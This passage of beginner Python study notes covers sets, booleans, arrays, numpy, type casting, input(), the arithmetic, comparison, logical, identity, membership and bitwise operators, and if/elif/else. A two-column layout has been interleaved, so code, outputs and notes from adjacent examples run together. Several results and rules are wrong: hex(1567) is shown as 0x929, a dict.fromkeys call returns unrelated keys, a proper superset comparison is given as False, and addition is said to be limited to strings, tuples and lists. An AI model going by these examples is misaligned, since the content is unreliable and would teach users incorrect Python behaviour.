method help get the difference values from both print(a)
sets and update it. :- {1, 2, 5}

Boolean:-
• False -> 0
• True -> 1

a=5>6 a = False
print(type(a), a) b = type(a)
:- <class 'bool'> True print(b, a)
:- <class 'bool'> False
a = True while True:
b = type(a) print('This is a loop')
print(b, a) :- This is a loop
:- <class 'bool'> True .
.
Infinite Loop

Note:- It will never Stop Because it is True

while False:
print('This is a Loop')
:- No print

Note:- It will not Run because it is False.

Array-DataType:-
• Array is an ordered collection of data items.
• Array is defined by array module.
 • Array takes two arguments first is Data-Type and Second is Data-Items.
• Array is mutable. It can change add or Delete.
• Array only can store similar type of data Items. Numberic to Numberic, String to
String etc.
• Array default works on one dimensional but we can perform multidimensional
• Only one column = One-Dimensional

import array

Array in Python can be created by importing array module. array(data_type, value_list) is

used to create an array with data type and value list specified in its arguments.

a = array.array('i',[7,8,9]) a = array.array('f',[7,8,9])
print(a) print(a)
:- array('i', [7, 8, 9]) :- array('f', [7.0, 8.0, 9.0])
a = array.array('d',[7,8,9])
print(a)
:- array('d', [7.0, 8.0, 9.0])

a = array.array('i',[7,8,9,'this']) a = array.array('u',['a','b'])
print(a) print(a)
:- array('u', 'ab')
:- TypeError: 'str' object cannot be
interpreted as an integer

Note:- Only Integer Data-Type can enter in

the Data-Items not the Strings.
a = array.array('u',['ca','b']) a = array.array('i',[7,8,8])
print(a) a.append(78)
:- TypeError: array item must be unicode print(a)
character :- array('i', [7, 8, 8, 78])
a = array.array('i',[7,8,8]) a = array.array('i',[7,8,8])
a.insert(1,34) a.extend([65,31,56,11])
print(a) print(a)
:- array('i', [7, 34, 8, 8]) :- array('i', [7, 8, 8, 65, 31, 56, 11])

Variable.insert(Index_No. , Value)
Variable[Index_No.] a = array.array('i',[7,8,9])
b = a[1]
V[Index_No.] :- this method help to get the print(b)
values from the array by using Index_no. :- 8
Variable[Index_No_Start: Index_No_End + a = array.array('i',[7,8,9])
1] b = a[1:3]
print(b)
V[Start:End] :- this method help get the :- array('i', [8, 9])
values from Start to finish + 1.
Variable.pop() a = array.array('i',[7,8,9])
a.pop()
V.pop() :- this method help to remove the print(a)
last Value from the array. :- array('i', [7, 8])
If Index_No. not define.
a = array.array('i',[7,8,9])
a.pop(1)
print(a)

Variable.remove(Value) a = array.array('i',[7,8,9])
a.remove(8)
V.remove(Value) :- this method help print(a)
remove the any value. :- array('i', [7, 9])

del Variable[Index_No.] a = array.array('i',[7,8,9])

del a[1]
print(a)
del V[Index_No.] :- this method help to :- array('i', [7, 9])
delete the value by using Index_No.

del Variable[Index_No.] a = array.array('i',[7,8,9])

del a
del V[Index_No.] :- this method help to print(a)
delete the value by using Index_No Or NameError: name 'a' is not defined
Delete whole Array.
Variable.count(Value) a =array.array('i',[7,7,7,7,7,8,9])
b = a.count(7)
V.count(Value) :- this method help to count print(b)
the how many times Value repeated in a :- 5
Array.
Variable.index(Value) a = array.array('i',[7,8,9])
b = a.index(9)
V.index(Value) :- this method help to find print(b)
the index No. of a Value inside a Array. :- 2
Variable.reverse() a = array.array('i',[7,8,9])
a.reverse()
V.reverse() :- this method help to reverse print(a)
the whole array. :- array('i', [9, 8, 7])
sorted(Variable) a = array.array('i',[7,9,6,8])
b = sorted(a)
sorted(V) :- this method help to make print(b)
whole array in a ascending order. :- [6, 7, 8, 9]

a = array.array('i',[7,9,6,8])
b = sorted(a)
print(b)
b.reverse()
print(b)
:- [9, 8, 7, 6]

Numpy
Import array
Import numpy
a = numpy.array([[34,56,67], ['abc', 'ds', 'fd'], ['fref', 4.5, 7.8]])
print(a)
:- [['34' '56' '67']
 ['abc' 'ds' 'fd']
['fref' '4.5' '7.8']]
a = numpy.array([[34,56,67], ['abc', 'ds', 'fd'], ['fref', 4.5, 7.8]]) Getting the
b = a[0][0], a[1][2], a[2][2], a[2] access of Values
print(b) from numpy
:- ('34', 'fd', '7.8', array(['fref', '4.5', '7.8'], dtype='<U32')) array
a = numpy.array([['ab','cd','bd'], [12,24,34], [14,34,'abc']]) Ascending-Order
a.sort()
print(a)
:- [['ab' 'bd' 'cd']
['12' '24' '34']
['14' '34' 'abc']]

UNICODE-Space-left
Type-Casting:-
• Type-Casting used to change to the Type of a Value. Like:- float to int, tuple to list

Float to int:- a = '8'

print(type(a))
a = 7.5 b = int(a)
print(type(a)) print(b,type(b))
b = int(a)
print(b, type(b)) :- <class 'str'>
8 <class 'int'>
:- <class 'float'>
7 <class 'int'>
a = 'harihs' Int to float:-
b = int(a)
print(b, type(b)) a = 9
b = float(a)
print(b, type(b))
:- ValueError: invalid literal for int() with :- 9.0 <class 'float'>
base 10: 'harihs'
Note:- float() only works on String or a
Note:- Only Numbers inside a String can Number.
convert in a int.
a = '3' a = '345'
b = float(a) b = float(a)
print(b, type(b)) print(b, type(b))
:- 3.0 <class 'float'> :- 345.0 <class 'float'>
a = 'harish' Int or float to complex
b = float(a)
print(b, type(b)) a = 2
b = complex(a)
:- ValueError: could not convert string to print(b, type(b))
float: 'harish'
:- (2+0j) <class 'complex'>
Note:- Only Numbers inside a String can
convert in a float. Note:- Only Numbers inside a String can
convert in a complex.
a = 3.9 a = '4'
b = complex(a) b = complex(a)
print(b, type(b)) print(b, type(b))

:- (3.9+0j) <class 'complex'> :- (4+0j) <class 'complex'>

a = 6 a = [1,2,3]
b = 4 b = (1,2,3)
c = complex(a,b) c = ‘jaros’
print(c, type(c))
Tuple, List, String can not convert in
:-(6+4j) <class 'complex'>
complex.
Unicode Table
Alphabet to Number (Unicode) a = ord('A')
print(a)
a = 'a'
b = ord(a) :- 65
print(b, type(b))

:- 97 <class 'int'>

Note:- Only a One character can use ord().

Number(Unicode) to Alphabet a = chr(122)
print(a)
a = chr(65)
print(a) :- z

:- A

Tuple, Dictionary, Set, String to List a = {1:2,3:4,5:6}

b = list(a)
a = (1,2,3,4) print(b, type(b))
b = list(a)
print(b, type(b)) :- [1, 3, 5] <class 'list'>

:- [1, 2, 3, 4] <class 'list'>

a = {1,2,3,4} a = 1,2,3,4
b = list(a) print(type(a))
print(b, type(b)) b = list(a)
print(b, type(b))
:- [1, 2, 3, 4] <class 'list'>
:- <class 'tuple'>
[1, 2, 3, 4] <class 'list'>
a = 'string' a = 'enter', 'your', 'name'
b = list(a) b = list(a)
print(b, type(b)) print(b, type(b))

:- ['s', 't', 'r', 'i', 'n', 'g'] <class 'list'> :- ['enter', 'your', 'name'] <class 'list'>
a = 1
b = list(a)
print(b)

TypeError: 'int' object is not

iterable
List,Dictionary, set, String, numberic to a = {1:2,3:4,5:6}
Tuple b = tuple(a)
print(b, type(b))
a = [1,2,3,4]
b = tuple(a) :- (1, 3, 5) <class 'tuple'>
print(b, type(b))

:- (1, 2, 3, 4) <class 'tuple'>

a = 'String' a = 1,2,3,4,5
b = tuple(a) b = tuple(a)
print(b, type(b)) print(b, type(b))

:- ('S', 't', 'r', 'i', 'n', 'g') <class 'tuple'> :- (1, 2, 3, 4, 5) <class 'tuple'>

a = 1.2,3.4,4.5 a = {1,2,3,4,5}
b = tuple(a) b = tuple(a)
print(b, type(b)) print(b, type(b))

:- (1.2, 3.4, 4.5) <class 'tuple'> :- (1, 2, 3, 4, 5) <class 'tuple'>

a = 'a' List, set, Dic to String
b = tuple(a)
print(b, type(b)) a = {1:2,3:4,5:6}
b = str(a)
:- ('a',) <class 'tuple'> print(b, type(b))

:- {1: 2, 3: 4, 5: 6} <class 'str'>

a = (1,2,3,4,5) a = [12,3,4]
b = str(a) b = str(a)
print(b, type(b)) print(b, type(b))

:-(1, 2, 3, 4, 5) <class 'str'> :- [12, 3, 4] <class 'str'>

a = {1,2,3,4} a = 1
b = str(a) b = str(a)
print(b, type(b)) print(b, type(b))

:- {1, 2, 3, 4} <class 'str'> :- 1 <class 'str'>

a = 's'
b = str(a)
print(b, type(b))

:- s <class 'str'>
List, Tuple, dic to set :- To remove a = [1,2,3,4,5]
duplicate values. b = set(a)
print(b, type(b))
a = {2:3,4:5,6:7}
b = set(a) :- {1, 2, 3, 4, 5} <class 'set'>
print(b, type(b))

:- {2, 4, 6} <class 'set'>

a = (1,2,3,4) a = 'String'
b = set(a) b = set(a)
print(b, type(b)) print(b, type(b))

:- {1, 2, 3, 4} <class 'set'> :- {'i', 'S', 't', 'r', 'g', 'n'} <class 'set'>

Set, tuple, list to Dictionary = Zip and a = {1,2,3,4}

fromkeys b = dict.fromkeys(a,'this')
print(b)
a = [1,2,3,4]
b = dict.fromkeys(a, 'this') :- {8: 'this', 5: 'this', 6: 'this', 7: 'this'}
print(b)

:- {1: 'this', 2: 'this', 3: 'this', 4: 'this'}

a = {1,2,3,4} a = {1,2,3,4}
b = dict.fromkeys(a,[5,6,7]) c = {1,2,3}
print(b) b = dict.fromkeys(a,c)
print(b)
:- {1: [5, 6, 7], 2: [5, 6, 7], 3: [5, 6, 7], 4: [5,
6, 7]} :- {1: {1, 2, 3}, 2: {1, 2, 3}, 3: {1, 2, 3}, 4: {1,
2, 3}}
a = (1,2,3,4) a = (1,2,3,4)
b = (1,2,3,4) b = [5,6,7,8]
c = dict(zip(a,b)) c = dict(zip(a,b))
print(c) print(c)

:- {1: 1, 2: 2, 3: 3, 4: 4} :- {1: 5, 2: 6, 3: 7, 4: 8}

a = {1,2,3,4} a = {1,2,3}
b = [10,11,12,13] b = {4,5}
c = dict(zip(a,b)) c = dict(zip(a,b))
print(c) print(c)

:- {1: 10, 2: 11, 3: 12, 4: 13} :- {1: 4, 2: 5}

a = {1,2,3} a = [1,2,3]
b = {4,5,8,90,100} b = [4,5,8,90,100]
c = dict(zip(a,b)) c = dict(zip(a,b))
print(c) print(c)

:- {1: 100, 2: 5, 3: 4} :- {1: 4, 2: 5, 3: 8}

a = [1,2,3] a = [5,6,7,8]
b = [4,5,8,90,100] b = bool(a)
c = dict(zip(b,a)) print(b)
print(c)
:- True
:- {4: 1, 5: 2, 8: 3}
Note:- this method help to check if value is
empty False, or not True.
a = [] a = [1]
b = bool(a) b = bool(a)
print(b) print(b)

:- False :- True

Hexadecimal -> 16base a = 17

0-9, A-F b = hex(a)
print(b)
a = 23
:- 0x11
b = hex(a)
print(b)

:- 0x17

a = 123 a =1567
b = hex(a) b = hex(a)
print(b) print(b)

:- 0x7b :- 0x929

a = 2345 a = 5678
b = hex(a) b = hex(a)
print(b) print(b)

:- 0x929 :- 0x162e
a = 2222 a = 3333
b = hex(a) b = hex(a)
print(b) print(b)

:- 0x8ae :- 0xd05
a = 242
b = hex(a)
print(b)

:- 0xf2
 Numbers to octate:- 0-7 a = 255
b = oct(a)
a = 23 print(b)
b = oct(a)
print(b) :- 0o377

:- 0o27

Functions:-
• There are two types of functions. In-Built Functions, User-define-Function
• Built-In Function :- Those functions are defined by Python like. Input etc.
• User-define Function :- Those functions are defined by User.

Built-In Functions:-

input() -> It saves everything in a String. a = input('Enter your name ' )

Like numbers, list etc. print(type(a))
print(a)
Output() -> print()
Enter your name ravi
a = input('Enter your name ' ) <class 'str'>
print(a) :- ravi

Enter your name harish

:- harish

Note:- one input() can only take one Value.

And one variable.
a = input('Enter your value: ') a = int(input('Enter your value: '))
b = input('Enter your Value: ') print(type(a))
c = a+b b = int(input('Enter your Value: '))
print(c) c = a+b
print(c)
Enter your value: 56
Enter your Value: 54 Enter your value: 56
:- 5654 <class 'int'>
Enter your Value: 54
:-110
Q:- 20,30,40,50,60. Add all integers. :-
Enter Value A: 20
a = int(input('Enter Value A: ')) Enter Value B: 30
b = int(input('Enter Value B: ')) Enter Value C: 40
c = int(input('Enter Value C: ')) Enter Value D: 50
d = int(input('Enter Value D: '))
Enter Value E: 60
e = int(input('Enter Value E: '))
200
f = a+b+c+d+e <class 'int'>
print(f)
print(type(f))

Q:- 4 Inputs and multiply them b/w. 20,30,40,50. :-

Enter Value A: 20
a = int(input('Enter Value A: ')) Enter Value B: 30
b = int(input('Enter Value B: ')) Enter Value C: 40
c = int(input('Enter Value C: '))
d = int(input('Enter Value D: '))
Enter Value D: 50
1200000 <class 'int'>
e = a*b*c*d
print(e, type(e))

Q:- Writing 3 String and add them with spaces.

:-
Enter your First-name: harish
a = input('Enter your First-name: ' ) Enter your second-name: kumar
b = input('Enter your second-name: ' ) Enter your Third-name: sharma
c = input('Enter your Third-name: ' )
d = a + b + c
harish kumar sharma <class 'str'>
print(d, type(d))

Note:- Use spaces before or after writing a Input

Value
a = 12 a = 12
b = 67 b = 67
print('The value of a is',a,'The value print('The value of a+b is
of b is',b) ',a+b,'The value of b,a is ',b,a)

:- The value of a is 12 The value of b is 67 :- The value of a+b is 79 The value of b,a is 67
12
a = int(input('Enter Value A: ')) Enter Value A: 56
b = int(input('Enter Value B: ')) Enter Value B: 54
c = int(input('Enter Value C: '))
Enter Value C: 20
print('The value of a is :',a,'\nThe The value of a is : 56
value of b is :',b,'\nThe value of c The value of b is : 54
is :',c) The value of c is : 20

Note:- \n this will help write down the String in the

Next Line. It only works in String.
, -> it will give automatically spaces

print() -> Only blank print() function can go to

another-line

a = input('Enter your a: ' ) Enter your a: 10

b = input('Enter your b: ' ) Enter your b: 20
c = input('Enter your c: ' )
d = input('Enter your d: ' )
Enter your c: 30
Enter your d: 40
print('The value of a is',a*2,'The :-
value of b is',b*2,'The value of c The value of a is 1010 The value of b is 2020
is',c*2,'The value of c is',2*d) The value of c is 3030 The value of c is 4040
#Take three input from user in String Enter your a: harish
and calculate length of each input . Enter your b: kumar
a = input('Enter your a: ' )
Enter your c: sharma
b = input('Enter your b: ' ) :-
c = input('Enter your c: ' ) The value of a is 6 The value of b is 5 The
value of c is 6
print('The value of a is',len(a),'The
value of b is',len(b),'The value of c
is',len(c))

#Take four input from user in integer Enter Value A: 56

and subtract all value with each other. Enter Value B: 54
Enter Value C: 89
a = int(input('Enter Value A: ')) Enter Value D: 20
b = int(input('Enter Value B: ')) :-
c = int(input('Enter Value C: ')) The Subraction Value of all -107
d = int(input('Enter Value D: '))

e = a-b-c-d
print('The Subraction Value of all',e)
Operators:-
• Arithmetic-Operator:- + , - , *, / , % , ** , //

Plus(+) :- a = 12
b = 89
c = a + b + 90
Note:- Only String, Tuple, List can use +. print('The value of c is',c)
a = 12
b = 89 :- The value of c is 191
c = a + b
print('The value of c is',c)

:- The value of c is 101

a = 23 a = [1,2,3,4,5]
b = 90 b = [6,7,8,9,10]
print('The value of a+b',a+b) print('The Total Value',a+b)

:- The value of a+b 113 :- The Total Value [1, 2, 3, 4, 5, 6, 7, 8, 9,

10]
a = (1,2,3,4,5) a = 'String1'
b = (6,7,8,9,10) b = 'String2'
print('The Total Value',a+b) print('The Total String',a+b)

:- The Total Value (1, 2, 3, 4, 5, 6, 7, 8, 9, :- The Total String String1String2

10)
#Subtraction(-) :- a = 23
b = 89
c = a-b-90
Note:- Only Numberic Value can use -. print('The Value of c',c)
a = 23
:- The Value of c -156
b = 89
c = a-b
print('The Value of c',c)

:- The Value of c -66

a = 90
b = 87
print('The value of a-b',a-b)

:- The value of a-b 3

Multiplication(*) :- a = 78
b = 90
c = a*b*90
Note:- Only String, Tuple, List, Numbers print('The value of c',c)
can use *.
a = 78
b = 90 :- The value of c 631800
c = a*b
print('The value of c',c)

:- The value of c 7020

a = 90 a = [1,2,3]
b = 98 print(a*2)
print('The value of a*b',a*b)
:- [1, 2, 3, 1, 2, 3]
:- The value of a*b 8820
a = (1,2,3) a = 'String'
print(a*3) print(a*3)

:- (1, 2, 3, 1, 2, 3, 1, 2, 3) :- StringStringString
Division(/) :- always return in float no. a = 12
Quotient b = 6
a = 90 c = a/b
b = 90 print('The value of c',c)
c = a/b
print('The value of c',c) :- The value of c 2.0

:- The value of c 1.0

Modulus ( % ) :- Remainder a = 2
b = 2
a = 5 print(a%b)
b = 2
c = a%b :- 0
print(c)

:- 1
Power( ** ) :- a = 5
b = 2
c = a**3
a = 5
print(c)
b = 2
c = a**b
print(c) :- 125

:- 25
Integer-Division( // ) :- Value Round-Off- a = 5
Divide. b = 4
c = a//b
print(c)
Note:- If Value is +ve in float.no then it will
show low Value. Go-backwards. :- 1
Go-Backwards.
If Value is –ve in float.no then it will show
high Value. Go-Forwards.
a = -5 a = 15
b = 4 b = 2
c = a//b c = a//b
print(c) print(c)

:- -2 :- 7
Go-Forward. Go-Backwards.
a = -15
b = 2
c = a//b
print(c)

:- -8
Go-Forward.

Assignment-Operators:-
• = , += , -= , *= , /= , %= , **=

+= :- Plus and Assignment. a = 89

print(a)
a = a + 56
Note:- Not Set, Dictionary. print(a)
a = 89
print(a)
a += 56 :-
print(a) 89
145
:-
89
145
a = 89 a = 89
print(a) print(a)
a += 2 a = a + 2
print(a) print(a)

:- :-
89 89
91 91

a = [1,2,3,4] a = (1,2,3,4,5)
a += [5,6,7,8,9] a += (6,7,8,9)
print(a) print(a)

:- [1, 2, 3, 4, 5, 6, 7, 8, 9] :- (1, 2, 3, 4, 5, 6, 7, 8, 9)

a = 'String1' a = 4.5
a += 'String2' a += 8
print(a) print(a)

:- String1String2 :- 12.5

-= Subtraction and Assign a = 100

print(a)
a = 100 a = a - 2
print(a) print(a)
a -= 2
print(a) :-
100
:- 98
100
98

a =90 a =90
a -= 50 a = a - 50
print(a) print(a)

:- 40 :- 40

a = 89 a = 89
a -= 90 a = a - 90
print(a) print(a)

:- -1 :- -1
*= Multiplication and Assign a = 12
print(a)
a =a * 2
Note:- Not Dictionary, Set. print(a)
a = 12
print(a) :-
a *= 2 12
print(a) 24

:-
12
24
a = 4 a = 4
a *= 4 a = a * 4
print(a) print(a)

:- 16 :- 16
a = [1,2,3] a = [1,2,3]
a *= 3 a = a * 3
print(a) print(a)

:- [1, 2, 3, 1, 2, 3, 1, 2, 3] :- [1, 2, 3, 1, 2, 3, 1, 2, 3]

a = (1,2,3) a = (1,2,3)
a *= 3 a = a * 3
print(a) print(a)

:- (1, 2, 3, 1, 2, 3, 1, 2, 3) :- (1, 2, 3, 1, 2, 3, 1, 2, 3)

a = 'String' a = 'String'
a *= 3 a = a * 3
print(a) print(a)

:- StringStringString :- StringStringString

/= Division and Assign a = 4

a = a / 2
print(a, type(a))
a = 4
a /= 2
print(a, type(a)) :- 2.0 <class 'float'>

:- 2.0 <class 'float'>

a = 8 a = 8
a /= 2 a = a / 2
print(a, type(a)) print(a, type(a))

:- 2.0 <class 'float'> :- 2.0 <class 'float'>

%= Modules remainder and Assign a = 14
a = a % 3
a = 14 print(a)
a %= 3
print(a) :- 2

:- 2

a = 19 a = 19
a %= 3 a = a % 3
print(a) print(a)

:- 1 :- 1

a = 20 a = 20
a %= 4 a = a % 4
print(a) print(a)

:- 0 :- 0

**= Power and Assign a = 2

a = a**4
a = 2 print(a)
a**=4
print(a) :- 16

:- 16

a = 90 a = 90
a**= 9 a = a**9
print(a) print(a)

:- 387420489000000000 :- 387420489000000000

//= Integer-Division-Value Round-off a = 17

a = a // 4
a = 17 print(a)
a//=4
print(a) :- 4
:- 4

a = -17 a = -17
a//=4 a = a // 4
print(a) print(a)

:- -5 :- -5

Comparison-Operator:-
• > , < , <= , >= , == , != :- True or False, 0 -> False, 1 -> True
• First checking the Greater-Values then Length –> Rule
• Dictionary doesn’t work.

> :- Greater-Than :- Value inside Compare a = 6.1

Alphabet greater than Numbers. b = -6.1
c = a > b
print(c)
a = 24
b = 29
c = a > b :- True
print(c)

:- False
a = 'String' a = 'ztring'
b = 'String' b = 'String'
c = a > b c = a > b
print(c) print(c)

:- False :- True

a = 'StringString' a = [1,2,3]
b = 'String' b = [1,2,3]
c = a > b c = a > b
print(c) print(c)

:- True :- False
a = [1,2,3,4] a = [1, 2, 3]
b = [1,2,3] b = [1, 2, 10]
c = a > b print(a > b)
print(c)
:- False
:- True
Note:- If values of two variable same but
one length is greater than other than
greater one is Bigger.
a = [1, 2, 3, 4] a = (1,2,3)
b = [1, 2, 10] b = (1,2,3)
print(a > b) c = a > b
print(c)
:- False
:- False
a = (1,2,3,0) a = {1,2,3}
b = (1,2,3) b = {1,2,3}
c = a > b c = a > b
print(c)
:- True :- False

a = {1,2,3,4} a = '1String'
b = {1,2,3} b = 'String'
c = a > b print(a > b)
print(c)
:- False
:- True

a = [12,2,3,4] a = [9,7,3]
b = [11,6,7,8] b = [5,11,7]
c = a > b c = a > b
print(c) print(c)

:- True :- True

a = [1,2,3,4] a = [1,2,3,0]
b = [9,8,7] b = [1,2,3]
print(a > b) c = a > b
print(c)
:- False
:- True
a = [9,8,7,10] a = [9,8,7,10,0]
b = [9,8,7,11] b = [9,8,7,11]
c = a > b c = a > b
print(c) print(c)

:- False :- False

< :- less than a = 6.1

b = -6.1
a = 24 c = a < b
b = 29 print(c)
c = a < b
print(c) :- False
:- True

a = 'String' a = 'ztring'
b = 'String' b = 'String'
c = a < b c = a < b
print(c) print(c)

:- False :- False

a = 'StringString' a = [1,2,3]
b = 'String' b = [1,2,3]
c = a < b c = a < b
print(c) print(c)
:- False :- False

a = [1,2,3,4] a = [1, 2, 3]
b = [1,2,3] b = [1, 2, 10]
c = a < b print(a < b)
print(c)
:- True
:- False

a = [1, 2, 3, 4] a = (1,2,3)
b = [1, 2, 10] b = (1,2,3)
print(a < b) c = a < b
print(c)
:- True
:- False
a = (1,2,3,0) a = {1,2,3}
b = (1,2,3) b = {1,2,3}
c = a < b c = a < b
print(c) print(c)

:- False :- False
a = [12,2,3,4] a = [9,7,3]
b = [11,6,7,8] b = [5,11,7]
c = a < b c = a < b
print(c) print(c)

:- False :- False

a = [1,2,3,4] a = [1,2,3,0]
b = [9,8,7] b = [1,2,3]
print(a < b) c = a < b
print(c)
:- True
:- False
<= :- Less than and Equal to. a = 89
b = 90
a = 90 print(a <= b)
b = 90
print(a <= b) :- True

:- True

a = [1,2,3,4,5,6,7] a = [1,2,3]
b = [9,8] b = [9,8,7]
print(a <= b) print(a <= b)

:- True :- True
a = [1,9,10,11] a = [1,2,3,4]
b = [5,6,7,8] b = [1,2,3,4]
print(a <= b) print(a<=b)

:- True :- True
a = (1,2,3) a = (1,2,3,4,5,6)
b = (1,2,4) b = (9,8)
print(a <= b) print(a <= b)

:- True :- True
a = {1,2,3} a = {1,2,3,4}
b = {1,2,3} b = {1,2,3}
print(a <= b) print(a <= b)

:- True :- False

a = {1,2,3,4,5,6,7} a = {1,2,3}
b = {9,8} b = {9,8,7}
print(a <= b) print(a <= b)

:- False :- False
>= :- Greater and Equal too. a = [1,2,3,4,5,6,7]
b = [9,8]
a = 89 print(a >= b)
b = 90
print(a >= b) :- False

:- False

a = [1,2,3] a = [1,9,10,11]
b = [9,8,7] b = [5,6,7,8]
print(a >= b) print(a >= b)

:- False :- False
a = [1,2,3,4] a = (1,2,3)
b = [1,2,3,4] b = (1,2,4)
print(a>=b) print(a >= b)

:- True :- False
a = (1,2,3,4,5,6) a = {1,2,3}
b = (9,8) b = {1,2,3}
print(a >= b) print(a >= b)

:- False :- True
a = {1,2,3,4} a = {1,2,3,4,5,6,7}
b = {1,2,3} b = {9,8}
print(a >= b) print(a >= b)

:- True :- False

a = {1,2,3}
b = {9,8,7}
print(a >= b)

:- False
== :- Equals too. a = 100
b = 90
a = 100 print(a==b)
b = 100
print(a==b) :- False

:- True
a = 'this' a = 'this'
b = 'this' b = 'this'
print(a==b) print(a[0] == b[0])

:- True :- True
a = 'Harish' a = 'Harish'
b = 'Sharma' b ='ravi'
print(a[1] == b[-1]) print(a==b)

:- True :- False

a = 'Harish' a = 'Harish'
b ='Havi' b ='Havi'
print(a==b) print(a[0] == b[0])

:- False :- True
a = [1,2,3,4] a = [1,2,3,4]
b = [1,2,3,4] b = [1,2,3,4]
print(a == b) print(a[-1] == b[1])

:- True :- False
a = [1,2,3,4,5] a = [1,2,3,4]
b = [1,2,3,4] b = [1,2,3,5]
print(a == b) print( a == b)

:- False :- False
a = {1:'this'} a = {1:'One', 2:'Two'}
b = {2:'this'} b = {1:'One', 2:'Two'}
print(a[1] == b[2]) print(a == b)

:- True :- True
a = {1:'One', 2:'Two'} a = {1:'One', 2:'Two'}
b = {3:'One', 4:'Two'} b = {3:'One', 4:'Two'}
print(a == b) print(a[1] == b[3])

:- False :- True

!= Not equal to. a = 100

b = 90
a = 100 print(a!=b)
b = 100
print(a != b) :- True

:- False
a = [1,2,3] a = [1,2,3,4]
b = [9,2,3] b = [5,6,7]
print(a != b) print(a != b)

:- True :- True
a = {1,2,3} a = {1,2,3}
b = {4,5,6} b = {1,2,3}
print(a != b) print(a != b)

:- True :- False

Logical-Operator :- and, or, not

• Logical-Operator only can use when we have two or more values to compare.

and (*)
and :- Multiply (*) a = 10
b = 20
a = 10 c = 30
b = 20
c = 30 print(a < b and b < a and c < a)
print(a < b and b < c)
:- False
:- True
a = 10 a = 10
b = 20 b = 20
c = 30 c = 30
print(c > a and b )
print(c > a and b and a)
:- 20
:- 10
a = 10 a = 10
b = 20 b = 20
c = 30 c = 30
print(a > b and c) d = a<b and b<c
print(d)
:- False
:- True

a = 10 a = 10
b = 20 b = 20
c = 30 c = 30
d = a<b and b>c d = a>b and b>c
print(d) print(d)

:- False :- False
a = 10 a = 10
b = 20 b = 20
c = 30 c = 30
d = a<b and c d = a<b and c and b and a
print(d) print(d)

:- 30 :- 10

a = 10 a = 10
b = 20 b = 20
c = 30 c = 30
d = a<b and 100 d = a>b and c
print(d) print(d)

:- 100 :- False

or (+)

a = 10 a = 10
b = 10 b = 20
c = 40 c = 30
print(a==b or b>c) print(b>a or c<a)

:- True :- True
a = 10 a = 10
b = 10 b = 10
c = 40 c = 40
print(a<b or c<a) print(a==b or b>c)

:- False :- True
 a = 10 a = 10
b = 10 b = 10
c = 40 c = 40
print(a==b or c) print(a!=b or c)

:- True :- 40
a = 10 a = 10
b = 10 b = 10
c = 40 c = 40
print(a!=b or 1000) print(a!=b or c or b)

:- 1000 :- 40

not (Opposite)

a = 10 a = 10
b = 20 b = 20
c = not a<b c = not a>b
print(c) print(c)

:- False :- True

Identity-Operator :- is, is not

• To check the Value (object) have same memory locations or are they same or not.

a = 34 a = 34
b = 67 b = 34
c = a is b c = a is b
print(c) print(c, id(a), id(b))
:- False 2630150522128 2630150523184 :- True 2630150522128 2630150522128

a = [1,2,3] a = [1,2,3]
b = [1,2,3] b = [1,2,3]
c = a[1] is b[1] c = a[0] is b[1]
print(c, id(a), id(b)) print(c, id(a), id(b))

:- True 2049519351232 2049519396992 :- False 2049519350528 2049519351232

Note:- You can not use whole list to

compare.

a = 78 a = 78
b = 89 b = 78
c = a is not b c = a is not b
print(c, id(a), id(b)) print(c, id(a), id(b))

:- True 1417463007888 1417463008240 :- False 1417463007888 1417463007888

Membership-Operators:- in, not in

a = 'enter your name' a = 'enter your name'
b = 'name' in a b = 'nme' in a
print(b) print(b)

:- True :- False

a = ['enter','your','name'] a = ['enter','your','name']
b = 'name' in a b = 'nmr' in a
print(b) print(b)

:- True :- False
a = ['enter','your','name'] a = ['enter','your','name']
b = input('enter your name:') b = input('enter your name: ')
c = b in a c = b in a
print(c) print(c)

enter entar

:- True :- False
a = [10,20,30,'40'] a = [10,20,30,'40']
b = input('enter your Value: ') b = int(input('enter your Value: '))
c = b in a c = b in a
print(c) print(c)

11 10

:- False :- True
a = ['enter','your','name'] a = [10,20,30]
b = 245 not in a b = 10 not in a
print(b) print(b)

:- True :- False

Bitwise-Operator

& :- Bitwise and a = 10

b = 20
a = 10 c = a&b
b = 12 print(c)
c = a&b
print(c, bin(a), bin(b)) :- 0

:- 8 0b1010 0b1100
a = 23 | :- Bitwise or
b = 20
c = a&b a = 12
print(c) b = 10
c = a|b
print(c)
:- 20
 :- 14
a = 23 ^ :- Bitwise exclusive or xor
b = 30
c = a|b a = 12
print(c) b = 10
c = a^b
:- 31 print(c)

:- 6
a = 20 ~ :- Bitwise Inversion
b= 26
c = a^b a = 10
print(c) b = ~a
print(b)
:- 14
:- -11
a = -10
b = ~a
print(b)

:- 9

<< :- left bitwise shift :- Double the value a = 15

b = a<<2
a = 15 print(b)
b = a<<1
print(b) :- 60

:- 30
a = 15 a = 23
b = a<<3 b = a<<1
print(b) print(b)

:- 120 :- 46

a = 23 a = 23
b = a<<2 b = a<<3
print(b) print(b)

:- 92 :- 184

a = 0 a = -9
b = a<<1 b = a<<1
print(b) print(b)

:- 0 :- -18
>> :- Right-shift :- half the a = 23
value b = a >> 2
print(b)
a = 23
b = a >>1 :- 5
print(b)

:- 11
 a = 30 a = 30
b = a >> 1 b = a >> 2
print(b) print(b)

:- 15 :- 7
a = 30
b = a >> 3
print(b)

:- 3

Conditions(if,elif,else,nested-if)
If :- if condition is True then it will execute if 4 > 5:
print('5 is greater than 4')
if 4 < 5:
print('5 is greater than 4') Note:- if is False then it will not Execute.
:- 5 is greater than 4

Elif :- we will use elif statement more than one If-if :- It will print all True Conditions
condition we have
a = 3 a = 3
b = 4 b = 4
c = 5 c = 5

if a < b and a < c: if a < b and a < c:

print('a is smaller than b and c') print('a is smaller than b and c')
elif b < a and b < c: if b>a and b<c:
print('b is less than a and c') print('b is less than a and c')
elif c < a and c < b: elif c < a and c < b:
print('c is smaller than a and b') print('c is smaller than a and b')

:- a is smaller than b and c :- a is smaller than b and c

b is less than a and c
Else :- If all conditions are False then else will print Enter Number A:- 5
Enter Number B:- 5
a = int(input('Enter Number A:- ')) Enter Number C:- 5
b = int(input('Enter Number B:- '))
c = int(input('Enter Number C:- ')) :-
555
if a < b and a<c: 15
print('a is smaller than b and c')
elif b<a and b<c: All values are same
print('B is less than a and c')
 elif c<a and c<b:
print('c is smaller than b and a')
else:
print(a,b,c)
print(a+b+c)
print('All values are same')

Checking numbers are ODD OR EVEN. if a % 2 != 0:

print('It is Odd')
a = int(input('Enter your number to check else:
even/odd ')) print('It is Even')
if a % 2 == 0:
print('It is Even')
Enter your number to check even/odd 4
else:
print('It is Odd') :- It is Even

Enter your number to check even/odd 5

:- It is Odd

